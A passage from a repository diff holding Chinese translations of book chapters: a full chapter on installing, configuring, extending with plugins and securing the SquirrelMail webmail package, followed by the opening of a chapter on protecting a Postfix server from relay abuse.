所有用户的设置都可以在服务器上配置,因为应用本身驻留在服务器上。 这意味着用户的设置时间几乎为零。 一旦他们收到他们的登录凭证,他们就可以访问网站,并立即访问他们的所有邮件。 用户可以立即访问站点来发送和接收电子邮件。 - -由于互联网现在如此普及,许多用户应该熟悉诸如谷歌 Mail 和 Windows Live Hotmail 等提供免费电子邮件服务的网站。 然而,开源包提供的用户界面可能更原始,并且缺乏一些视觉特性。 Squirrelmail 提供了对电子邮件的访问,包括发送和接收附件的功能,并提供了良好的用户界面。 - -值得一提的是,webmail 解决方案可以提供某些传统邮件客户端称为**群件**的特性。 这些特性使群组能够以补充电子邮件通信的方式进行通信和协调。 群件组件的例子包括私有日历、共享日历、会议安排、待办事项列表和其他类似工具。 - -这些应用可以预先配置,以便用户可以立即开始使用它们,而无需自己配置它们。 在 SquirrelMail 网站上可以找到几个实现这些功能的 SquirrelMail 插件。 - -### 方便远程访问 - -传统邮件访问软件的另一个问题是它不具有可移植性,因为电子邮件客户机需要在计算机上安装和配置。 一旦在特定的计算机上下载、安装和配置了它,就只能在该计算机上访问它。 如果没有网络邮件,路上的用户将无法从朋友的电脑、移动设备或机场的互联网亭获取电子邮件。 - -然而,在 webmail 解决方案中,电子邮件可以通过互联网连接从任何位置访问。 员工可以通过任何一台联网的电脑和合适的浏览器访问他们的工作电子邮件。 - -作为管理员,您可以选择允许或拒绝用户在不安全的情况下访问电子邮件。 通过要求对连接进行加密,您可以确保当用户处于远程位置时,他们与服务器的通信是安全的。 - -### 无需维护客户端 - -即使已经安装并正确配置了软件邮件客户端,也必须对它们进行维护。 当新版本发布时,所有的客户端都必须更新。 这未必是一项简单的任务。 不按预期工作的软件可能会导致大量的支持台呼叫。 - -在每个客户机上更新软件可能是一个非常大的管理负担。 事实上,许多昂贵的软件包是专门为在单个机器上自动更新软件而设计的。 尽管如此,特定于每个本地机器的问题经常会出现,必须单独解决。 向远程分支机构或远程工作人员传递指令或通知可能也很困难。 对于网络邮件解决方案,这就没有必要了。 - -与此相反,webmail 解决方案是集中维护和管理的。 webmail 应用驻留在服务器上。 使用 webmail,只需要升级 web 服务器和 webmail 包。 出现的任何异常或问题都可以在升级之前或升级期间处理。 软件升级本身可以在测试系统上运行,然后再部署到活动系统上。 虽然 SquirrelMail 很少修改设置,但可以更新用户的设置,使其与更新版本中引入的更改兼容。 - -此外,在升级或更改邮件服务器平台时,测试工作可以大大减少,因为只需要测试受支持的浏览器版本。 建议为公司计算机指定特定的浏览器版本。 与电子邮件客户机相比,不需要在所有可能的客户机和软件平台上进行测试。 - -### 通过用户界面配置邮件服务器接口 - -许多传统的桌面电子邮件客户机只提供电子邮件功能,仅此而已。 通常不支持代表邮件用户执行的其他基本任务(如更改访问密码)。 驻留在服务器上的某些配置选项可能需要额外的软件应用或外部解决方案来满足这些需求。 可能需要配置的邮件服务器选项示例包括每个用户的密码和垃圾邮件过滤设置。 - -在 SquirrelMail web 邮件应用中,已经开发了许多插件来提供这些功能。 例如,用户可以直接从 webmail 界面更改他/她的密码。 此外,还有一些插件和系统允许用户在没有任何直接人工干预的情况下轻松注册。 如果您希望提供一种服务,让用户可以在不需要管理开销的情况下注册,这可能会很有用。 - -### 可能的安全效益 - -这个问题可以从两种不同的角度来看待——正是由于这个原因,标题被列为*“可能的”安全性好处*。 尽管如此,这仍然是一个值得研究的有趣点。 - -在软件客户端访问模型中,电子邮件通常被下载到本地用户的计算机上,存储在一个或多个个人文件夹中。 从安全性的角度来看,这可能是一件坏事。 系统的用户可能不像训练有素的计算机管理员那样认真或了解计算机安全。 与正确配置和安全的服务器相比,获得对最终用户计算机的未经授权的访问通常要容易得多。 这意味着,偷了公司笔记本电脑的人可能能够访问存储在那台电脑上的所有电子邮件。 - -还有一个与客户机访问模型相关的缺点。 即使员工被解雇,他/她仍然可以访问他/她本地办公室计算机上的所有电子邮件。 可能需要一定的时间才能确保重要信息的安全。 不满的员工可以很容易地将外部存储源连接到他们本地的办公室计算机,并下载任何他们想要的数据。 - -同样值得注意的是,在 webmail 模型中,所有的电子邮件都集中存储。 如果攻击者要获得对中央电子邮件服务器的访问权,他/她可能会访问存储在该服务器上的所有电子邮件。 然而,如果中央邮件服务器被攻破,即使没有使用网络邮件系统,攻击者也有可能获得访问所有电子邮件的权限。 - -## 缺点 - -本节重点讨论提供和支持 webmail 解决方案的缺点。 上一节给出的警告适用:这个列表并不完全全面。 每一种情况都是独特的,并可能带来其独特的缺点。 - -我们将讨论以下 webmail 解决方案的缺点: - -* 性能问题 -* 与大量电子邮件的兼容性 -* 与电子邮件附件的兼容性 -* 安全问题 - -### 性能 - -传统的电子邮件客户机是在客户机-服务器模型中设计的。 一个邮件服务器接收和从其他邮件服务器发送电子邮件。 然而,桌面邮件客户端可以提供许多额外的提高生产力的功能,如消息排序、搜索、联系人列表管理、附件处理,以及最近的一些功能,如垃圾邮件过滤和消息加密。 - -这些特性中的每一个都可能需要一定的处理能力。 当将一个用户的电子邮件存储在台式机上时,所需的处理能力级别可能可以忽略,但是当将这些功能大规模应用到单个服务器时,提供这些功能可能会有问题。 - -在检查性能问题时,重要的是要考虑访问 webmail 应用的潜在用户数量和相应的服务器大小。 单个服务器可能能够轻松地处理 300 个用户,但如果用户数量显著增加,服务器负载可能会成为一个问题。 - -例如,在客户的计算机上搜索几年的存档邮件可能需要几秒钟。 当一个用户使用 webmail 执行这个任务时,负载将是相似的。 但是,如果许多客户机在很短的时间间隔或同时请求此操作,服务器可能很难及时处理所有请求。 这可能会导致页面以较慢的速度提供服务,或者在极端情况下,服务器无法响应。 - -最理想的情况是,如果担心服务器可能无法处理特定的用户负载,应该在适当的条件下执行负载测试。 - -### 兼容大电子邮件量 - -webmail 解决方案不太适合大的邮件量。 这个缺点与前一个有关,但更多地与发送的数据量有关。 即使用户数量相对较少,在 webmail 应用中也很难管理大量的电子邮件。 主要有以下两个原因: - -* 首先,每次查看的电子邮件和列出的每个文件夹都必须从服务器发送。 使用传统的电子邮件客户机,客户机软件可以管理电子邮件消息,创建适合用户的列表和视图。 然而,对于 webmail 解决方案,这是在服务器上执行的。 因此,如果有很多用户,这种开销可能会占用服务器资源的很大一部分。 -* 其次,与 webmail 应用的每次交互都需要一个**超文本传输协议**(**HTTP**)请求和响应。 这些消息通常比电子邮件服务器和桌面电子邮件客户机之间的消息大。 在使用 webmail 客户端时,并行性也会降低,换句话说,在同一时间发生的事情会减少。 桌面电子邮件客户端可以同时检查多个文件夹中的新电子邮件,但是 web 邮件客户端通常会一个接一个地执行这些任务,如果它们完全是自动执行的话。 - -### 电子邮件附件兼容性 - -webmail 解决方案不太适合电子邮件附件。 由于 webmail 应用驻留在远程服务器上,所以任何和所有的电子邮件附件必须首先上传到该服务器上。 由于一些原因,它可能是困难或不可能完成这个操作与太多的附件或附件的大尺寸。 - -由于邮件服务器的存储空间有限,可能会导致上传大型附件的困难。 通过 HTTP 协议上传大的附件可能需要很长时间,通过 HTTPS 甚至更长的时间。 此外,许多文件大小限制可能被强加于上传的文件。 与 SquirrelMail 一起使用的编程语言 PHP 在其默认配置中对上传的文件施加了 2MB 的限制。 - -上述问题的解决方案可能在于网络邮件访问解决方案的本质——电子邮件和邮件访问软件驻留在服务器上。 在传统邮件客户机中,通常在用户知道特定电子邮件的内容或大小之前就下载电子邮件。 与此相反,在 webmail 的情况下,用户可以查看带有大附件的电子邮件,而无需下载附件——这对那些没有高速互联网连接的人来说是一个特别的好处。 - -最后,从服务器下载和上传大型电子邮件附件可能会导致用户界面的性能问题。 许多用户对 webmail 应用中附件的上传时间感到沮丧,尤其是在附件上传之前无法发送消息。 在传统的邮件客户机中,附件是立即附加的,而发送消息则需要时间。 - -### 安全问题 - -我们要研究的最后一个问题是潜在的安全缺陷。 网络邮件访问解决方案的一个重要特性也产生了一个潜在的问题。 远程访问的好处让位给了用户访问其邮件的本地机器的潜在不安全性。 - -不受您直接控制的计算机可能被第三方意图控制以访问您的信息。 通常情况下,计算机不会记录用户的按键。 网吧和报亭,甚至员工的家庭电脑都可能运行恶意软件。 这种恶意软件可能会监视按键和访问的网站。 用户必须输入他/她的密码或登录凭据才能访问系统。 当这些凭据被恶意软件捕获并存储在计算机上时,它们可以被拦截,并被第三方用于未经授权的访问。 - -即使我们排除恶意,仍有一些情况可能会造成安全风险。 例如,许多现代浏览器都提供了在输入密码时保存密码的选项。 该密码存储在访问网站的本地计算机上。 如果用户登录到 webmail 应用并意外地将其密码保存在本地计算机上,则该密码可能会被任何访问该本地计算机的用户访问。 - -最后,用户可能会无意中让自己登录了 webmail 应用。 在不注销的情况下,访问该特定计算机的任何用户都可以访问该用户的邮件帐户。 - -# SquirrelMail 的 webmail 包 - -下面的截图显示了 SquirrelMail 的登录界面: - -![The SquirrelMail webmail package](img/8648_04_1.jpg) - -选择 SquirrelMail 是基于它提供的以下功能的组合: - -* 它是一个经过验证的、稳定的、成熟的电子邮件平台。 -* 它已经被下载超过 200 万次。 -* 它是基于标准的,并以纯 HTML 4.0 呈现页面,而不需要使用 JavaScript。 - -SquirrelMail 还包括以下特性(通过灵活的插件系统,还有更多特性): - -* 强大的 MIME 支持 -* 通讯录的功能 -* 拼写检查器 -* 支持发送和接收 HTML 电子邮件 -* 模板和主题支持 -* 虚拟主机支持 - -下面的截图显示了一个收件箱,你可以在其中看到这些功能: - -![The SquirrelMail webmail package](img/8648_04_2.jpg) - -# SquirrelMail 的安装和配置 - -如果您不熟悉安装 web 应用,那么 SquirrelMail 的安装和配置似乎令人生畏。 但是,按照下面将要讨论的说明,SquirrelMail 就可以毫无困难地安装了。 - -## 安装前提条件 - -SquirrelMail 需要安装 PHP 和支持 PHP 脚本的 web 服务器。 在我们的例子中,我们将使用 Apache2 web 服务器,尽管其他服务器也可以工作。 - -首先,我们将回顾一下基本要求,以及如果你不能满足这些要求该怎么办。 然后,我们将讨论一些可能影响 SquirrelMail 某些特性的更高级的需求。 - -### 基本要求 - -在撰写本文时,SquirrelMail 的最新稳定版本是 1.4.19。 以下说明适用于此版本。 SquirrelMail 安装有两个基本要求。 - -#### 安装 Apache2 - -任何支持 PHP 的现代 Apache 版本,1。 x 或 2。 X 系列,就可以了。 这里我们提供使用 Apache2 的说明。 在基于 RPM 包管理的系统上查询 Apache 安装,在提示符下发出以下命令: - -```sh -$ rpm -q apache - -apache-1.3.20-16 - -``` - -如果,就像刚才看到的例子,返回了一个版本的 Apache,那么 Apache web 服务器就安装在您的系统上了。 - -要在基于 Debian 包管理的系统上查询 Apache 安装,在提示符下发出以下命令: - -```sh -$ apt-cache search --installed apache2 | grep HTTP -libapache2-mod-evasive - evasive module to minimize HTTP DoS or brute force attacks -libpoe-component-server-http-perl - foundation of a POE HTTP Daemon -libserf-0-0 - high-performance asynchronous HTTP client library -libserf-0-0-dbg - high-performance asynchronous HTTP client library debugging symbols -libserf-0-0-dev - high-performance asynchronous HTTP client library headers -nanoweb - HTTP server written in PHP -php-auth-http - HTTP authentication -apache2 - Apache HTTP Server metapackage -apache2-doc - Apache HTTP Server documentation -apache2-mpm-event - Apache HTTP Server - event driven model -apache2-mpm-prefork - Apache HTTP Server - traditional non-threaded model -apache2-mpm-worker - Apache HTTP Server - high speed threaded model -apache2.2-common - Apache HTTP Server common files - -``` - -使用其他包管理系统的其他发行版也可以使用类似的命令。 - -如果没有 Apache 安装,最好先查看一下您的发行版是否有 Apache 的副本——比如在您的操作系统安装 cd 上,或者使用在线包存储库。 或者,您可以访问 Apache 基金会的主页[http://www.apache.org](http://www.apache.org)。 - -#### PHP - -安装 SquirrelMail 需要使用 PHP 编程语言(版本 4.1.0 或更高,包括所有 PHP 5 版本)。 要检查系统是否安装了 PHP,只需使用以下命令运行它: - -```sh -$ php -v - -``` - -如果命令成功,您将看到一条消息,描述所安装的 PHP 版本。 如果 PHP 版本是 4.1.0 或更高版本,那么您的系统就具备了所需的软件。 否则,您将需要安装或升级当前的安装。 与 Apache 一样,最好在您的发行版中寻找要安装的副本。 您也可以访问[http://www.php.net](http://www.php.net)。 - -### Perl - -Perl 编程环境并不是 SquirrelMail 所必需的,但是使用 Perl 编程环境可以使 SquirrelMail 的配置更加简单。 在本章中,我们假设您可以访问 Perl,从而方便地配置 SquirrelMail。 - -要在基于 rpm 的系统上查询 Perl 安装,只需尝试使用以下命令运行它: - -```sh -$ perl -v - -``` - -如果命令成功,您将看到一条消息,描述所安装的 Perl 版本。 - -如果有任何版本的 Perl,那么您的系统已经具备了所需的软件。 否则,您将需要安装或升级当前的安装。 与 Apache 一样,最好在您的发行版中寻找要安装的副本。 您也可以访问[http://www.perl.com/get.html](http://www.perl.com/get.html)。 - -### 查看配置 - -您需要检查 PHP 配置文件 `php.ini`以确保设置是正确的。 在大多数 Linux 系统上,这个文件可以在 `/etc/php.ini`中找到。 - -`php.ini`是一个文本文件,可以用文本编辑器(如 Emacs 或 vi)进行编辑。首先,如果希望用户能够上传附件,请确保将选项 `file_uploads`设置为 `On:` - -```sh -; Whether to allow HTTP file uploads. -file_uploads = On - -``` - -您可能想要更改的 `php.ini`文件中的下一个选项是 `upload_max_filesize`。 此设置适用于已上载的附件,并确定已上载文件的最大文件大小。 将其改为合理的内容可能会有帮助,例如 `10M`。 - -```sh -; Maximum allowed size for uploaded files. -upload_max_filesize = 10M - -``` - -## 安装 SquirrelMail - -SquirrelMail 可以通过包安装,也可以直接从源代码安装。 虽然在这两种方法中都不进行源代码编译,但是使用包进行升级更容易。 - -许多不同的 Linux 和 Unix 发行版都包含 SquirrelMail 包。 从您的发行版中安装适当的包以使用二进制方法。 在许多 Linux 发行版上,这可能是一个以 `squirrelmail…`开头的 RPM 文件。 - -但是,您的特定发行版可能不包含或不提供 SquirrelMail 的更新版本。 - -下面是使用 Linux 发行版中提供的 SquirrelMail 版本的优点: - -* 它将是非常简单的安装 SquirrelMail。 -* 它将需要更少的配置,因为它将被配置为使用 Linux 分发程序选择的标准位置。 -* 更新将非常容易应用,迁移问题可能由包管理系统处理。 - -下面是使用 Linux 发行版中提供的 SquirrelMail 版本的缺点: - -* 它可能不是最新的版本。 例如,可能已经发布了一个可以修复安全漏洞的最新版本,但 Linux 发行商可能还没有创建新的包。 -* 有时 Linux 发行版通过应用补丁来改变包。 这些补丁可能会影响包的操作,并可能使获得支持或帮助更加困难。 - -### 源安装 - -如果您没有通过您的发行版安装 SquirrelMail,您将需要获得适当的 tarball。 为此,请访问 SquirrelMail 网站[http://www.squirrelmail.org](http://www.squirrelmail.org),然后点击**从这里下载**。 在撰写本文时,这个链接是[http://www.squirrelmail.org/download.php](http://www.squirrelmail.org/download.php)。 - -有两个版本可供下载,一个是**稳定版本**,另一个是**开发版本**。 除非您有特殊的理由选择其他版本,否则通常最好选择稳定版本。 下载并将该文件保存到中间位置。 - -```sh -$ cd /tmp -$ wget http://squirrelmail.org/countdl.php?fileurl=http%3A%2F%2Fprdownloa -ds.sourceforge.net%2Fsquirrelmail%2Fsquirrelmail-1.4.19.tar.gz - -``` - -接下来,解压 tarball(`.tar.gz`)文件。 你可以使用以下命令: - -```sh -$ tar xfz squirrelmail-1.4.19.tar.gz - -``` - -将刚刚创建的文件夹移动到您的 web 根文件夹。 这是 Apache 用来服务页面的目录。 在这种情况下,我们将假设 `/var/www/html`是您的网络根。 我们还将笨拙的 `squirrelmail-1.4.3a`文件夹重命名为更简单的 `mail`文件夹。 为了在大多数系统上做到这一点,您需要拥有超级用户 `root`特权。 - -```sh -# mv squirrelmail-1.4.19 /var/www/html/mail -# cd /var/www/html/mail - -``` - -这里我们使用了名称 `mail`,因此用户将使用的 URL 将是 `http://www.sitename.com/mail`。 您可以选择另一个名称,例如 `webmail`,并在您输入的命令中使用该目录名而不是 `mail`。 - -在主 web 根目录之外为 SquirrelMail 创建一个 `data`目录也是非常有用和安全的,这样就可以从 web 上访问这个文件夹。 - -```sh -# mv /var/www/html/mail/data /var/www/sqmdata - -``` - -重要的是要使这个新创建的文件夹可以被 web 服务器写入。 要做到这一点,您必须知道您的 web 服务器运行在哪个用户和组下。 这可能是 `nobody`和 `nobody, apache`和 `apache`,或者其他什么。 你需要验证这一点; 它将作为 `User`和 `Group`条目在您的 `httpd.conf`文件中列出。 - -```sh -# chown -R nobody:nobody /var/www/sqmdata - -``` - -最后,我们将创建一个目录来存储附件。 这个目录的特殊之处在于,尽管 web 服务器应该具有写入附件的写访问权限,但它不应该具有读访问权限。 我们创建这个目录,并用下面的命令分配正确的权限: - -```sh -# mkdir /var/www/sqmdata/attachments -# chgrp -R nobody /var/www/sqmdata/attachments -# chmod 730 /var/www/sqmdata/attachments - -``` - -SquirrelMail 现在已经正确安装。 所有文件夹都设置了正确的权限,以确保中间文件不被窥探。 - -### 注意事项 - -如果用户中止了包含上传附件的消息,web 服务器上的附件文件将不会被删除。 一个好的做法是在服务器上创建 cron 作业,以擦除附件目录中多余的文件。 例如,创建一个名为 `remove_orphaned_attachments`的文件,并将其放在 `/etc/cron.daily`目录中。 编辑文件,使其包含以下几行: - -```sh - #!/bin/sh -#!/bin/sh -rm `find /var/www/sqmdata/attachments -atime +2 | grep -v "\."| grep -v _` - -``` - -这将每天运行,搜索 SquirrelMail 附件目录中孤立的文件,并删除它们。 - -## 配置 SquirrelMail - -SquirrelMail 通过 `config.php`文件配置。 为了帮助配置,还提供了一个 `conf.pl`Perl 脚本。 这些文件位于基本安装目录的 `config/`目录中。 - -```sh -# cd /var/www/html/mail/config -# ./conf.pl - -``` - -一旦你运行这个命令,你应该看到以下菜单: - -![Configuring SquirrelMail](img/8648_04_3.jpg) - -要从菜单中选择一个项目,输入适当的字母或数字,然后按*enter*键。 随着 SquirrelMail 的开发,人们注意到 IMAP 服务器并不总是以相同的方式运行。 为了最大限度地利用您的设置,您应该告诉 SquirrelMail 您正在使用哪个 IMAP 服务器。 要加载 IMAP 服务器的默认配置,请输入**D**选项并输入已安装的 IMAP 服务器的名称。 这本书涵盖了 Courier IMAP 服务器,所以您应该选择它。 再次按*进入*,返回主菜单。 - -我们将浏览菜单的各个子部分并配置适当的选项。 - -键入 1,然后按*进入*选择**组织首选项**。 你会得到一个你可以改变的项目列表。 您可能需要编辑**组织名称、**组织标志、**组织标题**字段。 修改完这些内容后,输入 R 返回主菜单。 - -在此之后,输入 2 访问**服务器设置**。 这允许您设置 IMAP 服务器设置。 将**Domain**字段更新为合适的值是很重要的。 - -在我们的例子中,**更新 IMAP 设置**和**更新 SMTP 设置**的值应该是正确的。 如果您想使用位于不同机器上的 IMAP 或 SMTP 服务器,您可能需要更新这些值。 - -按 R 后按*回车*键返回主菜单。 - -接下来,键入 4 访问**General Options**。 您需要在本节中修改两个选项。 - -* 数据目录为 `/var/www/sqmdata`。 -* 附件目录为 `/var/www/sqmdata/attachments`。 -* 键入 R,然后按*Enter*键返回主菜单。 输入 S,然后按*Enter*键两次,保存设置到配置文件中。 最后,输入 Q,然后按*enter*键退出配置应用。 - -我们已经完成了基本操作所需的 SquirrelMail 设置的配置。 您可以在任何时候返回此脚本以更新已设置的任何设置。 还有许多其他选项可以设置,包括那些关于主题和插件的选项。 - -# SquirrelMail 插件 - -插件是对软件包进行扩展或添加功能的软件。 SquirrelMail 的设计从头到尾都具有很强的可扩展性,并且包含一个强大的插件系统。 目前,SquirrelMail 网站上有超过 200 个不同的插件。 可以通过[http://www.squirrelmail.org/plugins.php](http://www.squirrelmail.org/plugins.php)获取。 - -它们提供的功能包括管理工具、可视化添加、用户界面调整、安全增强,甚至天气预报。 在下一节中,我们将首先介绍如何安装和配置插件。 之后,我们将介绍一些有用的插件,它们的功能,如何安装等等。 - -## 安装插件 - -这些 SquirrelMail 添加被设计成易于设置和配置。 事实上,它们中的大多数遵循完全相同的安装过程。 然而,一些需要自定义设置说明。 所有插件的安装过程如下: - -1. 下载并解压插件。 -2. 如果需要,执行自定义安装。 -3. 在 `conf.pl`中启用插件。 - -## 插件安装示例 - -在本节中,我们将介绍**兼容性插件的安装。** 为了安装为旧版本 SquirrelMail 创建的插件,这个插件是必需的。 无论你的安装多么简单,兼容性插件都很可能是你安装的一部分。 - -### 下载并解压插件 - -所有可用的 SquirrelMail 插件都在 SquirrelMail 网站上的[http://www.squirrelmail.org/plugins.php](http://www.squirrelmail.org/plugins.php)列出。 - -某些插件可能需要特定版本的 SquirrelMail。 验证是否安装了此版本。 找到插件后,将其下载到 SquirrelMail 根文件夹中的 `plugins/`目录。 - -您可以通过点击 SquirrelMail 插件页面的插件页面中的**Miscellaneous**类别找到兼容性插件。 本页在**杂项**类别中有一个插件列表。 找到兼容性,点击**详细信息,下载**,然后下载最新版本。 - -![Downloading and unpacking the plugin](img/8648_04_4.jpg) - -下载 tarball 到你的 SquirrelMail 插件目录。 - -```sh -# cd /var/www/mail/plugins -# wget http://squirrelmail.org/countdl.php?fileurl=http%3A%2F%2Fwww. -squirrelmail.org%2Fplugins%2Fcompatibility-2.0.14-1.0.tar.gz - -``` - -下载插件到 `plugins`目录后,使用以下命令解包: - -```sh -# tar zxvf compatibility-2.0.14-1.0.tar.gz - -``` - -### 注意事项 - -如果已经安装了同名的插件,它的文件可能会被覆盖。 验证您是否有同名的插件,或者在解压缩 tarball 之前保存文件。 - -### 自定义安装 - -当前版本的兼容性插件不需要任何额外的配置。 然而,你应该经常检查插件的文档,因为某些其他插件可能需要自定义安装。 一旦你解压了插件包,安装说明就会列在新创建的 `plugin`目录下的 `INSTALL`文件中。 建议在配置管理器中启用插件之前检查安装说明,因为一些插件可能需要自定义配置。 - -### 在 conf.pl 中启用插件 - -在配置编辑器的主菜单中,选项 8 用于配置和启用插件。 启动 `conf.pl`并选择选项**8**。 - -```sh -# cd /var/www/mail/plugins -# cd ../config -# ./conf.pl -SquirrelMail Configuration : Read: config_default.php (1.4.0) ---------------------------------------------------------- -Main Menu -- -[...] -7\. Message of the Day (MOTD) -8\. Plugins -9\. Database -[...] -Command >> - -``` - -当你第一次选择这个选项时,你应该得到以下显示: - -![Enabling the plugin in conf.pl](img/8648_04_5.jpg) - -所有已经安装和启用的插件都列在**已安装的插件**列表中。 所有已经安装但未启用的插件都列在**Available plugins**列表中。 - -一旦你在 `plugins/`目录下解包了一个插件,它就会显示在**Available Plugins**下面。 正如您在前面的图中看到的,有许多已安装的插件,但是没有一个是启用的。 由于出现故障或配置错误的插件会导致 SquirrelMail 停止正常工作,建议一个接一个地启用插件,并在每个插件之后验证 SquirrelMail 是否正常工作。 要启用兼容性插件,请在列表**Available Plugins**(在本例中,编号**4)**中找到它,然后按*Enter*键。 现在已经安装了兼容性插件。 可以通过在**已安装插件**列表中找到它们,输入它们的编号,然后按*回车*来禁用插件。 - -## 实用插件 - -现在我们将看到一些有用的 SquirrelMail 插件,你可以考虑安装它们。 - -这些信息已被编译,以便在决定是否安装插件时提供有用的参考。 每个插件包含四个特定的类别: - -* **Category:**插件在 SquirrelMail 站点上的类别 -* **作者:**编写插件的作者: -* **描述:**插件功能的简短描述 -* **要求:**插件成功安装的先决条件列表 - - -| - -插件名称 - - | - -类别 - - | - -Author(s) - - | - -描述 - - | - -要求 - - | -| --- | --- | --- | --- | --- | -| 兼容插件 | 杂项 | Paul Lesneiwski | 这个插件允许任何其他插件访问所需的函数和特殊变量,以使它与广泛使用的大多数 SM 版本向后(或向前)兼容。 这消除了在许多插件中重复某些功能的需要。 它还提供了帮助检查插件是否已正确安装和设置的功能。 | 没有什么 | -| 安全登录 | 登录 | Graham Norbury, Paul Lesneiwski | 这个插件自动为 SquirrelMail 登录页面启用安全的 HTTPS/ ssl 加密连接,如果它还没有被引用的超链接或书签请求。 可选地,安全连接可以在成功登录后再次关闭。 | SquirrelMail 1.2.8 或以上版本,支持 HTTPS/ ssl 加密的 web 服务器已经在您的 SquirrelMail 安装中工作。 | -| HTTP 身份验证 | 登录 | 泰勒·埃金斯,保罗·莱希涅夫斯基 | 如果你把 SquirrelMail 放在 web 服务器的密码保护目录下,并且 PHP 可以访问 web 服务器使用的用户名和密码,这个插件将绕过登录屏幕,使用用户名和密码对。 | SquirrelMail >= 1.4.0 | -| 密码忘记 | 登录 | 泰勒·埃金斯,保罗·莱斯内夫斯基 | 这个插件为浏览器的潜在漏洞提供了一个解决方案,自动存储进入网页的用户名和密码。 | SquirrelMail > = 1.0.1 | -| HTML 邮件 | 组成 | Paul Lesneiwski | 这个插件允许 IE 5.5(及以上)和更新的 Mozilla(基于 gecko 的浏览器,如 Firefox)浏览器的用户以 HTML 格式编写和发送他们的电子邮件。 | SquirrelMail >= 1.4.0 | -| 快存 | 组成 | Ray Black III, Paul Lesneiwski | 这个插件自动保存消息,因为他们正在组成,以防止意外丢失的消息内容,由于浏览离开组成屏幕或更严重的问题,如浏览器或计算机崩溃。 | SquirrelMail >= 1.2.9,兼容插件,javascript 浏览器 | -| 检查配额使用情况(v) | 视觉增加 | 凯瑞姆 Erkan | 这个插件将检查和显示用户的邮件配额状态。 | SquirrelMail 1.4.0 +; 兼容插件,版本 2.0.7+,UNIX, IMAP 或 cPanel 配额安装和配置 | -| 发送确认 | 杂项 | Paul Lesneiwski | 在消息成功发送后显示确认消息,以及其他功能。 | SquirrelMail >= 1.2.0,兼容性插件 | -| 超时的用户 | 杂项 | Ray Black III, Paul Lesneiwski | 如果用户空闲了指定的时间,将自动注销该用户。 | 插件的兼容性 | -| 电子邮件页脚 | 杂项 | Ray Black III, Paul Lesneiwski | 这个插件会自动在使用 SquirrelMail 发送的消息的末尾添加一个自定义页脚。 | SquirrelMail >= 1.4.2 | -| 更改密码 | 更改密码 | 泰勒·埃金斯,赛斯·e·兰德尔 | 允许用户使用 PAM 或 Courier 身份验证模块更改密码。 | SquirrelMail >= 1.4.0 | -| 地址簿进出口 | 地址本 | Lewis Bergman, Dustin Anders, Christian Sauer, Tomas Kuliavas | 允许从**CSV(逗号分隔的值)**文件导入地址簿。 | SquirrelMail >= 1.4.4 | -| 插件更新(v0.7) | 管理员的救济 | 吉米·康纳 | 检查当前正在运行的插件的更新。 | SquirrelMail >= 1.4.2 | - -还有许多其他插件可以处理假期消息、日历、共享日历、笔记、待办事项列表、交换服务器集成、书签、天气信息等等。 查看 SquirrelMail 网站的**Plugins**部分,找到所有可用的插件。 - -# 保护 SquirrelMail - -SquirrelMail 包本身是相当安全的。 它编写得很好,不需要 JavaScript 来执行功能。 然而,要让 SquirrelMail 作为安全邮件处理解决方案运行,需要采取一些预防措施。 - -* **有 SSL 连接:**通过使用 SSL 连接,您可以确定所有通信都将被加密,因此用户名、密码和机密数据在传输过程中不会被拦截。 这可以通过安装**安全登录插件**来实现。 显然,还需要一个配置为安全 SSL 访问的 web 服务器; 证书很可能需要生成或获得。 -* **非活动用户超时:**用户可能会离开自己的登录状态,并在完成后忽略注销。 为了解决这个问题,不活跃的用户应该在一定时间后注销。 **超时用户插件**完成了这一任务。 -* **Fight“Remembered Passwords”:**许多现代浏览器提供记住用户的密码。 虽然很方便,但这可能是一个很大的安全漏洞,特别是当用户位于公共终端时。 要解决这个问题,请安装**密码忘记插件**。 这个插件将更改用户名和密码输入字段中的名称,使浏览器更难向未来用户推荐它们。 -* **不安装危及安全的插件:**插件如**Quick Save,**,**View as HTML**可能会危及安全。 - -# 总结 - -现在你已经完成了本章,你应该已经安装好了 SquirrelMail,并且对 webmail 解决方案的优缺点有了更好的理解。 你应该熟悉网络邮件解决方案的优点和缺点。 其好处包括远程访问、维护单个中心点和更简单的测试; 而缺点包括潜在的性能问题和安全风险,允许远程访问可能受到影响的计算机。 - -现在,您已经了解了 SquirrelMail 的主要特性,包括它的灵活性和插件的可用性,以及安装 SquirrelMail 的先决条件,以及如何识别它们是否已经安装。 - -您还学习了如何配置 SquirrelMail,包括定位、安装和配置插件。 你已经完成了一个关键插件的安装; 插件的兼容性。 另外还介绍了几个其他有用的插件。 最后,您了解了一些提高 SquirrelMail 安全性的方法,包括 web 服务器配置和一些适当的插件。** \ No newline at end of file diff --git a/docs/linux-email/05.md b/docs/linux-email/05.md deleted file mode 100644 index e739b5e9..00000000 --- a/docs/linux-email/05.md +++ /dev/null @@ -1,1205 +0,0 @@ -# 五、防护您的安装 - -在所有可能发生在您的 SMTP 服务器上的事情中,最糟糕的可能是将它滥用为一个开放中继服务器—一个未经您允许将邮件转发给第三方的服务器。 这将消耗大量带宽(这可能很昂贵),消耗服务器资源(可能会减慢或停止其他服务),并且在时间和金钱上都很昂贵。 更严重的后果是,您的电子邮件服务器可能会出现在一个或多个黑名单中,任何引用这些列表的电子邮件服务器将拒绝接受来自您服务器的任何邮件,直到您证明它是中继安全的。 如果你需要使用电子邮件来开展业务,你将有一个大问题。 - -本章将解释如何: - -* 保护 Postfix 不受中继滥用 -* 区分静态和动态分配的 IP 地址 -* 使用 Postfix 配置静态 IP 地址的中继权限 -* 使用 Cyrus SASL 从不可预测的动态 IP 地址进行身份验证 -* 使用安全套接字层来防止用户名和密码以明文形式发送 -* 配置 Postfix 可以挫败或至少减缓字典攻击,在字典攻击中,电子邮件被发送到一个域中的许多电子邮件地址,希望其中一些能够到达有效的收件人 - -# 配置后缀式网络映射 - -当互联网主要由学者使用时,没有人需要保护他们的邮件服务器免受中继滥用。 实际上,没有邮件服务器的人并不多,因此允许没有电子邮件服务器的其他人使用您的服务器转发电子邮件被认为是对他们的一种服务。 - -随着不久被称为垃圾邮件制造者的人的出现,这种情况发生了改变。 他们会滥用开放中继器向大量的远程收件人发送广告,让邮件服务器的所有者为流量付费。 - -这时,邮政局长开始严格地处理中继权限。 他们过去只允许中继受信任的 IP 地址,拒绝来自其他 IP 地址的消息。 在这个上下文中,可信 IP 地址是可以与属于一个已知用户的主机或属于一个可信网络的 IP 地址范围静态关联(请参阅*静态 IP 范围*节)的 IP 地址。 它工作得很好,因为大多数计算机都有静态 IP 地址(IP 地址不会随着时间的推移而改变)。 